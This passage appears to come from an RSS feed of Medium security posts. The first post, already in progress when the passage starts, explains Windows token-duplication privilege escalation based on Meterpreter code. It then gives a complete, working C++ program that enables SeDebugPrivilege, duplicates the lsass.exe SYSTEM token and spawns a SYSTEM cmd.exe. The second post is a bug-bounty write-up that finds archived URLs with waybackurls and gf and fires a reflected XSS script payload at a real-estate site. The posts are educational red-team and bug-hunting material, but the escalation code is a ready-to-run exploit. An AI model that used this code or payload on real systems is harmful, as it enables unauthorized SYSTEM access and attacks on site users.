FALSE;<br>    }</pre><p><strong>API Used</strong>: OpenProcessToken</p><ul><li>This function opens the access token associated with the current process (GetCurrentProcess()). The access rights specified are TOKEN_ADJUST_PRIVILEGES (to adjust privileges) and TOKEN_QUERY (to query the token).</li><li><strong>Return Value</strong>: It returns TRUE if successful, or FALSE if it fails, setting GetLastError() to the error code.</li></ul><pre>// Lookup the privilege value<br>    if (!LookupPrivilegeValue(NULL, cpPrivilege, &amp;tp.Privileges[0].Luid))<br>    {<br>        return FALSE;<br>    }</pre><p><strong>API Used</strong>: LookupPrivilegeValue</p><ul><li>This retrieves the locally unique identifier (LUID) for the privilege specified by cpPrivilege.</li><li><strong>Return Value</strong>: It returns TRUE if the privilege is found, or FALSE if an error occurs.</li></ul><pre>tp.PrivilegeCount = 1;<br>    tp.Privileges[0].Attributes = (bEnable ? SE_PRIVILEGE_ENABLED : SE_PRIVILEGE_DISABLED);</pre><p><strong>Explanation</strong>:</p><ul><li>PrivilegeCount is set to 1 because only one privilege is being adjusted.</li><li>The privilege’s attributes are set to SE_PRIVILEGE_ENABLED if bEnable is TRUE, or SE_PRIVILEGE_DISABLED if bEnable is FALSE.</li></ul><pre>// Adjust the privileges<br>    if (!AdjustTokenPrivileges(hToken, FALSE, &amp;tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))<br>    {<br>        return FALSE;<br>    }</pre><p><strong>API Used</strong>: AdjustTokenPrivileges</p><ul><li>This function adjusts the privileges of the specified token (here, the current process token hToken).</li><li>FALSE means the function doesn&#39;t replace the current privileges.</li></ul><p><strong>Return Value</strong>: It returns TRUE if the privileges were adjusted successfully, or FALSE if the operation fails.</p><pre>CloseHandle(hToken);<br>    return TRUE;<br>}</pre><p><strong>Explanation</strong>:</p><ul><li>The token handle (hToken) is closed using CloseHandle, which is necessary for cleanup.</li><li>The function returns TRUE to indicate success.</li></ul><h3>2. elevate_via_service_tokendup Function Breakdown</h3><pre>DWORD elevate_via_service_tokendup(REMOTE *remote, Packet *packet)<br>{</pre><p><strong>Explanation</strong>:</p><ul><li>This function performs privilege escalation via service manipulation. It takes two parameters:</li><li>remote: Represents the remote connection.</li><li>packet: Contains the service name and DLL to inject.</li><li>DWORD is the return type, often used for return codes.</li></ul><pre>if (!elevate_getnativearch())<br>    {<br>        return ERROR_INVALID_PARAMETER;<br>    }</pre><p><strong>API Used</strong>: elevate_getnativearch</p><ul><li>This function checks the architecture of the system (e.g., 32-bit or 64-bit). It returns TRUE for supported architectures and FALSE otherwise. If the architecture is not valid, the function returns an error code.</li></ul><pre>OSVERSIONINFOEX version;<br>    version.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);</pre><p><strong>Explanation</strong>:</p><ul><li>OSVERSIONINFOEX is a structure used to retrieve version information of the operating system.</li></ul><pre>if (!GetVersionEx((LPOSVERSIONINFO) &amp;version))<br>    {<br>        return ERROR_INVALID_PARAMETER;<br>    }</pre><p><strong>API Used</strong>: GetVersionEx</p><ul><li>This function retrieves detailed version information about the operating system. If the function fails, it returns an error.</li><li><strong>Return Value</strong>: It returns TRUE on success, or FALSE if it fails.</li></ul><pre>if (version.dwMajorVersion &lt;= 4)<br>    {<br>        return ERROR_INVALID_PARAMETER;<br>    }</pre><p><strong>Explanation</strong>:</p><ul><li>The function checks if the operating system is older than Windows 2000 (major version 5). If it is, the function returns an error as older versions aren’t supported.</li></ul><pre>TCHAR *szSvcName = packet-&gt;GetString(&quot;svc_name&quot;);<br>    TCHAR *szDllName = packet-&gt;GetString(&quot;dll_name&quot;);</pre><p><strong>Explanation</strong>:</p><ul><li>szSvcName and szDllName are retrieved from the packet object. These are the service name and the DLL file name, respectively, that will be injected.</li></ul><pre>if ((szSvcName == NULL) || (szDllName == NULL))<br>    {<br>        return ERROR_INVALID_PARAMETER;<br>    }</pre><p><strong>Explanation</strong>:</p><ul><li>This checks whether the service name and DLL name are provided. If either is NULL, the function returns an error.</li></ul><pre>if (!elevate_priv(SE_DEBUG_NAME, TRUE))<br>    {<br>        return ERROR_INVALID_PARAMETER;<br>    }</pre><ul><li>This calls the previously defined elevate_priv function to enable the SE_DEBUG_NAME privilege, which is necessary to interact with processes running as SYSTEM.</li></ul><pre>SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);</pre><p><strong>API Used</strong>: OpenSCManager</p><ul><li>This function opens the Service Control Manager (SCM), which is responsible for managing services. The flags passed indicate the ability to enumerate services.</li></ul><p><strong>Return Value</strong>: It returns a handle to the SCM or NULL if it fails.</p><pre>if (hSCM == NULL)<br>    {<br>        return ERROR_INVALID_PARAMETER;<br>    }</pre><p><strong>Explanation</strong>:</p><ul><li>This checks whether the OpenSCManager call succeeded. If it failed, the function returns an error.</li></ul><pre>DWORD dwBytesNeeded;<br>    DWORD dwServicesReturned;<br>    DWORD dwResumeHandle = 0;<br>    ENUM_SERVICE_STATUS_PROCESS *pServiceStatus = NULL;</pre><p><strong>Explanation</strong>:</p><ul><li>These variables will store information about the services and their status, such as dwBytesNeeded (bytes needed for buffer), dwServicesReturned (number of services returned), and pServiceStatus (pointer to the service status structure).</li></ul><pre>if (!EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &amp;dwBytesNeeded, &amp;dwServicesReturned, &amp;dwResumeHandle, NULL))<br>    {<br>        return ERROR_INVALID_PARAMETER;<br>    }</pre><p><strong>API Used</strong>: EnumServicesStatusEx</p><ul><li>This function enumerates services with specific status and processes running under them. It provides details about running services and their corresponding processes.</li></ul><p><strong>Return Value</strong>: It returns TRUE on success and FALSE on failure.</p><pre>if (!elevate_inject_dll_process(hServiceProcess, szDllName))<br>    {<br>        return ERROR_INVALID_PARAMETER;<br>    }</pre><p><strong>Explanation</strong>:</p><ul><li>This line attempts to inject the DLL into the service’s process by calling the elevate_inject_dll_process function. It uses the handle of the service process and the DLL name.</li><li>The function returns TRUE if the injection was successful.</li></ul><pre>return ERROR_SUCCESS;<br>}</pre><p><strong>Explanation</strong>:</p><ul><li>If all steps succeeded, the function returns ERROR_SUCCESS indicating success.</li></ul><p>The code works to escalate privileges on a Windows system by enabling necessary privileges, injecting a DLL into a service process, and duplicating a SYSTEM token. Key Windows APIs involved include OpenProcessToken, LookupPrivilegeValue, AdjustTokenPrivileges, GetVersionEx, OpenSCManager, and EnumServicesStatusEx.</p><p><strong>Now implementation time</strong> . we will implement straightforward approach, directly targeting the lsass.exe process. Here&#39;s a breakdown:</p><p><strong>Privilege Elevation:</strong></p><ul><li>The SetPrivilege function is used to enable the SeDebugPrivilege.</li></ul><p><strong>Process and Token Opening:</strong></p><ul><li>The GetPID function retrieves the Process ID (PID) of the lsass.exe process.</li><li>The OpenProcess function opens a handle to the lsass.exe process.</li><li>The OpenProcessToken function opens a handle to the process&#39;s access token.</li></ul><p><strong>Token Duplication:</strong></p><ul><li>The DuplicateTokenEx function is used to duplicate the System token associated with lsass.exe.</li></ul><pre>#include &lt;Windows.h&gt;<br>#include &lt;TlHelp32.h&gt;<br>#include &lt;iostream&gt;<br>#include &lt;string&gt;<br><br>using namespace std;<br><br>#pragma comment(lib, &quot;advapi32.lib&quot;)<br><br>BOOL SetPrivilege(<br>    HANDLE hToken,          // access token handle<br>    LPCTSTR lpszPrivilege,  // name of privilege to enable/disable<br>    BOOL bEnablePrivilege   // to enable or disable privilege<br>    ) <br>{<br>    TOKEN_PRIVILEGES tp;<br>    LUID luid;<br><br>    if ( !LookupPrivilegeValue( <br>            NULL,            // lookup privilege on local system<br>            lpszPrivilege,   // privilege to lookup <br>            &amp;luid ) )        // receives LUID of privilege<br>    {<br>        printf(&quot;LookupPrivilegeValue error: %u\n&quot;, GetLastError() ); <br>        return FALSE; <br>    }<br><br>    tp.PrivilegeCount = 1;<br>    tp.Privileges[0].Luid = luid;<br>    if (bEnablePrivilege)<br>        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br>    else<br>        tp.Privileges[0].Attributes = 0;<br><br>    // Enable the privilege or disable all privileges.<br><br>    if ( !AdjustTokenPrivileges(<br>           hToken, <br>           FALSE, <br>           &amp;tp, <br>           sizeof(TOKEN_PRIVILEGES), <br>           (PTOKEN_PRIVILEGES) NULL, <br>           (PDWORD) NULL) )<br>    { <br>          printf(&quot;AdjustTokenPrivileges error: %u\n&quot;, GetLastError() ); <br>          return FALSE; <br>    } <br><br>    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)<br><br>    {<br>          printf(&quot;The token does not have the specified privilege. \n&quot;);<br>          return FALSE;<br>    } <br><br>    return TRUE;<br>}<br><br>DWORD GetPID(string pName){<br>        PROCESSENTRY32 entry;<br>        entry.dwSize = sizeof(PROCESSENTRY32);<br><br>        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);<br>        if(Process32First(hSnapshot,&amp;entry)){<br>                while(Process32Next(hSnapshot,&amp;entry)){<br>                        string cpName = entry.szExeFile;<br>                        if(cpName.find(pName) != string::npos){<br>                                return entry.th32ProcessID;<br>                        }<br>                }<br>        }<br><br>        return 0;<br>}<br><br>int main(){<br><br><br>        HANDLE hMyToken = nullptr;<br><br>        OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS|TOKEN_READ|TOKEN_WRITE, &amp;hMyToken);<br>        SetPrivilege(hMyToken,&quot;SeDebugPrivilege&quot;,TRUE);<br><br><br>        DWORD PID = GetPID(&quot;lsass.exe&quot;);<br>        printf(&quot;%08X\n&quot;,PID);<br>        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,TRUE,PID);<br>        if(!hProcess){<br>                printf(&quot;Can&#39;t Open Process error: %X\n&quot;,GetLastError());<br>        }<br><br>        HANDLE hToken = nullptr;<br>        if(!OpenProcessToken(hProcess,TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_IMPERSONATE,&amp;hToken)){<br>                printf(&quot;Can&#39;t Open Process Token error: %X\n&quot;,GetLastError());<br>        }<br>        HANDLE hNewToken = nullptr;<br>        SECURITY_ATTRIBUTES sa;<br>        RtlZeroMemory(&amp;sa,sizeof(SECURITY_ATTRIBUTES));<br><br>        if(!DuplicateTokenEx(hToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenPrimary,&amp;hNewToken)){<br>                printf(&quot;Can&#39;t Duplicate Token error: %X\n&quot;,GetLastError());<br>        }<br>       <br><br>        printf(&quot;Click to impersonate.\n&quot;);<br>        getchar();<br><br>        STARTUPINFOW si = { sizeof(STARTUPINFOW) };<br>    PROCESS_INFORMATION pi;<br><br><br><br>    if (CreateProcessWithTokenW(hNewToken, LOGON_WITH_PROFILE,NULL, (LPWSTR)L&quot;cmd.exe&quot;, 0, NULL, NULL, &amp;si, &amp;pi)) {<br>        printf(&quot;Successfully created SYSTEM process.\n&quot;);<br>        CloseHandle(pi.hProcess);<br>        CloseHandle(pi.hThread);<br>    } else {<br>        printf(&quot;Failed to create SYSTEM process: %X\n&quot;, GetLastError());<br>    }<br><br>        if(!DuplicateTokenEx(hToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenImpersonation,&amp;hNewToken)){<br>                printf(&quot;Can&#39;t Duplicate Token error: %X\n&quot;,GetLastError());<br>        }<br><br><br>        if(ImpersonateLoggedOnUser(hNewToken)){<br>                printf(&quot;Successfully created SYSTEM process.\n&quot;);<br>                char name [255 + 1];<br>                DWORD name_len = 256;<br>                GetUserName(name,&amp;name_len);<br>                printf(&quot;Username: %s\n&quot;,name);<br><br>        } else {<br>                printf(&quot;Failed to impersonate token to thread process: %X\n&quot;, GetLastError());<br>        }<br><br><br><br>    // Cleanup<br>    CloseHandle(hNewToken);<br>    CloseHandle(hToken);<br>    CloseHandle(hProcess);<br>    CloseHandle(hMyToken);<br>        getchar();<br><br>        return 0;<br>}</pre><p>This code is a Windows program that demonstrates the use of privileges, process manipulation, and token impersonation. It enables a privilege (SeDebugPrivilege), retrieves the process ID (PID) of a specified process, opens that process, manipulates its token, duplicates the token for impersonation, and creates a new process using the impersonated token.</p><h3>1. Includes and Setup</h3><pre>#include &lt;Windows.h&gt;<br>#include &lt;TlHelp32.h&gt;<br>#include &lt;iostream&gt;<br>#include &lt;string&gt;</pre><pre>using namespace std;</pre><pre>#pragma comment(lib, &quot;advapi32.lib&quot;)</pre><ul><li><strong>Windows.h</strong>: Provides Windows API functions, types, and constants.</li><li><strong>TlHelp32.h</strong>: Declares functions for creating snapshots of processes, threads, heaps, and modules.</li><li><strong>iostream and </strong><strong>string</strong>: Used for input/output operations and handling strings.</li><li><strong>advapi32.lib</strong>: Linked for functions related to security and privilege management (e.g., LookupPrivilegeValue, AdjustTokenPrivileges).</li></ul><h3>2. SetPrivilege Function</h3><pre>BOOL SetPrivilege(<br>    HANDLE hToken,          // Access token handle<br>    LPCTSTR lpszPrivilege,  // Name of privilege to enable/disable<br>    BOOL bEnablePrivilege   // To enable or disable privilege<br>)</pre><p>This function modifies the privileges of a process’s access token (the hToken).</p><h4>Steps:</h4><ul><li><strong>LookupPrivilegeValue</strong>: Retrieves the LUID (Locally Unique Identifier) for the specified privilege (lpszPrivilege), here SeDebugPrivilege, which allows debugging other processes.</li><li><strong>AdjustTokenPrivileges</strong>: Enables or disables the specified privilege for the token.</li><li><strong>ERROR_NOT_ALL_ASSIGNED</strong>: Checks if the privilege was successfully enabled or disabled.</li></ul><h3>3. GetPID Function</h3><pre>DWORD GetPID(string pName){<br>    PROCESSENTRY32 entry;<br>    entry.dwSize = sizeof(PROCESSENTRY32);</pre><p>This function searches for a running process by name (pName) and returns its PID.</p><h4>Steps:</h4><ul><li><strong>CreateToolhelp32Snapshot</strong>: Takes a snapshot of all processes currently running.</li><li><strong>Process32First and </strong><strong>Process32Next</strong>: Iterate through processes in the snapshot.</li><li><strong>entry.szExeFile</strong>: Matches the executable file name of a process with pName.</li><li><strong>entry.th32ProcessID</strong>: Returns the PID of the matching process.</li></ul><h3>4. Main Function</h3><pre>int main(){<br>    HANDLE hMyToken = nullptr;</pre><pre>    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS|TOKEN_READ|TOKEN_WRITE, &amp;hMyToken);<br>    SetPrivilege(hMyToken, &quot;SeDebugPrivilege&quot;, TRUE);</pre><ul><li><strong>OpenProcessToken</strong>: Opens the current process&#39;s token with the specified access rights.</li><li><strong>SetPrivilege</strong>: Enables SeDebugPrivilege, allowing the program to debug other processes (needed to manipulate lsass.exe).</li></ul><h4>Process Manipulation:</h4><pre>DWORD PID = GetPID(&quot;lsass.exe&quot;);<br>    printf(&quot;%08X\n&quot;,PID);<br>    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID);<br>    if (!hProcess) {<br>        printf(&quot;Can&#39;t Open Process error: %X\n&quot;, GetLastError());<br>    }</pre><ul><li><strong>GetPID</strong>: Retrieves the PID of lsass.exe.</li><li><strong>OpenProcess</strong>: Opens the lsass.exe process for full access.</li><li>If the process can’t be opened, the error code is printed.</li></ul><h4>Token Handling:</h4><pre>HANDLE hToken = nullptr;<br>    if (!OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_IMPERSONATE, &amp;hToken)) {<br>        printf(&quot;Can&#39;t Open Process Token error: %X\n&quot;, GetLastError());<br>    }</pre><ul><li><strong>OpenProcessToken</strong>: Opens the token of lsass.exe with rights to query, duplicate, assign, and impersonate.</li></ul><h4>Token Duplication and Impersonation:</h4><pre>HANDLE hNewToken = nullptr;<br>    SECURITY_ATTRIBUTES sa;<br>    RtlZeroMemory(&amp;sa, sizeof(SECURITY_ATTRIBUTES));</pre><pre>    if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &amp;hNewToken)) {<br>        printf(&quot;Can&#39;t Duplicate Token error: %X\n&quot;, GetLastError());<br>    }</pre><ul><li><strong>DuplicateTokenEx</strong>: Duplicates the token to impersonate the lsass.exe process.</li><li><strong>SecurityImpersonation</strong>: Allows impersonation of the security context of the target process.</li></ul><h4>Process Creation via Impersonation:</h4><pre>printf(&quot;Click to impersonate.\n&quot;);<br>    getchar();</pre><pre>    STARTUPINFOW si = { sizeof(STARTUPINFOW) };<br>    PROCESS_INFORMATION pi;<br>    if (CreateProcessWithTokenW(hNewToken, LOGON_WITH_PROFILE, NULL, (LPWSTR)L&quot;cmd.exe&quot;, 0, NULL, NULL, &amp;si, &amp;pi)) {<br>        printf(&quot;Successfully created SYSTEM process.\n&quot;);<br>        CloseHandle(pi.hProcess);<br>        CloseHandle(pi.hThread);<br>    } else {<br>        printf(&quot;Failed to create SYSTEM process: %X\n&quot;, GetLastError());<br>    }</pre><ul><li><strong>CreateProcessWithTokenW</strong>: Launches cmd.exe as the SYSTEM user using the duplicated token.</li><li>If successful, the new process handle is closed; otherwise, an error message is shown.</li></ul><h4>Impersonating a Logged-On User:</h4><pre>if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &amp;hNewToken)) {<br>        printf(&quot;Can&#39;t Duplicate Token error: %X\n&quot;, GetLastError());<br>    }</pre><pre>    if (ImpersonateLoggedOnUser(hNewToken)) {<br>        printf(&quot;Successfully created SYSTEM process.\n&quot;);<br>        char name[255 + 1];<br>        DWORD name_len = 256;<br>        GetUserName(name, &amp;name_len);<br>        printf(&quot;Username: %s\n&quot;, name);<br>    } else {<br>        printf(&quot;Failed to impersonate token to thread process: %X\n&quot;, GetLastError());<br>    }</pre><ul><li><strong>DuplicateTokenEx</strong>: Duplicates the token again, this time for impersonation.</li><li><strong>ImpersonateLoggedOnUser</strong>: Impersonates the user of the specified token.</li><li>If successful, it prints the username of the impersonated user.</li></ul><h3>5. Cleanup</h3><pre>CloseHandle(hNewToken);<br>    CloseHandle(hToken);<br>    CloseHandle(hProcess);<br>    CloseHandle(hMyToken);<br>    getchar();</pre><ul><li>Closes all the opened handles to clean up resources.</li></ul><p>when run the program it was a start new system cmd process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0eemKYRmViuLk-NMIum37g.png" /></figure><ol><li>the new cmd run under SYSTEM</li></ol><p>2,3 — the lsass.exe and new cmd process had the same token and privs .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UAkuDSo__ctQYy_GAtbCyw.png" /></figure><h3><strong>References:</strong></h3><ul><li><a href="https://github.com/rapid7/metasploit-framework">GitHub - rapid7/metasploit-framework: Metasploit Framework</a></li><li><a href="https://github.com/rapid7/meterpreter/blob/master/source/extensions/priv/server/elevate/tokendup.c">meterpreter/source/extensions/priv/server/elevate/tokendup.c at master · rapid7/meterpreter</a></li><li><a href="https://github.com/rapid7/meterpreter/blob/master/source/extensions/priv/server/elevate/namedpipe.c">meterpreter/source/extensions/priv/server/elevate/namedpipe.c at master · rapid7/meterpreter</a></li><li><a href="https://www.ired.team/offensive-security/privilege-escalation/t1134-access-token-manipulation">Primary Access Token Manipulation | Red Team Notes</a></li><li><a href="https://attack.mitre.org/techniques/T1134/">Access Token Manipulation</a></li><li><a href="https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation">Windows NamedPipes 101 + Privilege Escalation | Red Team Notes</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2da39c73d865" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Looking To Archived URLs Lead Me To Easy XSS]]></title>
            <link>https://medium.com/@farouknapil/how-looking-to-archived-urls-lead-me-to-easy-xss-4c8219bdcb69?source=rss-84c309ab5b13------2</link>
            <guid isPermaLink="false">https://medium.com/p/4c8219bdcb69</guid>
            <category><![CDATA[webapplicationpentest]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[wayback-machine]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Farouk Nabil]]></dc:creator>
            <pubDate>Tue, 14 May 2024 18:35:27 GMT</pubDate>
            <atom:updated>2024-05-14T18:38:59.777Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/311/1*vAh1fQsGmopU5-IO8CfQnQ.png" /></figure><h3>السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ</h3><p>i remember one of my first vulnerability i found when i bug hunting on Web Application it’s typically reflected xss nothing special on it there’s no Waf bypassing or there is Some filter technic you need to bypass , just copy paste your payload and it will pop up.</p><p>but what make me writing about it now is the way i found it .</p><blockquote>i looked to the past of the site using Wayback Machine but first what is that.<br><strong>Wayback Machine</strong>: This is a digital archive of the internet maintained by the Internet Archive, a non-profit organization. It allows users to access historical versions of websites through a web interface or programmatically through APIs.</blockquote><p>there are many tools doing that for you like : <a href="https://github.com/tomnomnom/waybackurls">waybackurls</a> or <a href="https://github.com/lc/gau">gau</a></p><p>you give the tool the domain and they will do all work.</p><pre>echo example.com | waybackurls &gt; urls</pre><p>you will get a lot of results but to make things more easy to us we will use <a href="https://github.com/tomnomnom/gf">gf</a> tool and the pattern will be from <a href="https://github.com/1ndianl33t/Gf-Patterns">Gf-Patterns</a></p><blockquote>gf tool is A wrapper around grep to avoid typing common patterns.</blockquote><p>basically it just a tool using for searching using pattern and we will use Gf-Patterns that has a lot of vulnerability patterns to search like xss,ssrf,….etc</p><pre>echo example.com | waybackurls | sort -u &gt;&gt; waybackdata | gf xss | tee -a xssrparams.txt</pre><p>you think that a lot of work to do but believe me installing these tools will not take a lot of time and will be a good investment.</p><p>i wrote a small bash scripts to automate all this work you just need to install previous tools and run my <a href="https://github.com/faroukn/recon_scripts">recon_scripts</a>.</p><p>One my scripts in recon_scripts is recon_waybackV.sh</p><pre>  ./recon_waybackV.sh example.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*tdXklG7fXasi2-_zD_EfEw.png" /></figure><p>the script will output a lot of files one of them is xss_gf.txt</p><p>in this file i found a url has a lot of parameters and i decided to test all thes parameters.</p><p>for examples :</p><blockquote>https://my_target_web_application.com/real-estate-agents/tar-heel-estates-raleigh-cary-nc/LR27587TARHEELESTATES/?searchKey=1e687153–578f-42d0-bd4d-317acce13329&amp;na=</blockquote><p>so as any normal man i tried xss payload on <em>na</em> parameter and it’s poped up</p><pre>&quot;&gt;xtest&lt;script&gt;alert(1)&lt;/script&gt;</pre><blockquote>https://my_target_web_application.com/real-estate-agents/tar-heel-estates-raleigh-cary-nc/LR27587TARHEELESTATES/?searchKey=1e687153–578f-42d0-bd4d-317acce13329&amp;na=%22%3Extest%3Cscript%3Ealert(1)%3C/script%3E</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*htSMYby3rHiVMS2nPmP-rw.png" /></figure><p>I hope you liked this littel write-up, and expect me for more soon ^_^.</p><p>Sites :</p><p><a href="https://linkedin.com/in/faroukn"><em>LinkedIn</em></a></p><p><a href="https://github.com/faroukn"><em>GitHub</em></a></p><p><a href="https://t.me/UnknownPersonality"><em>Telegrame</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4c8219bdcb69" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>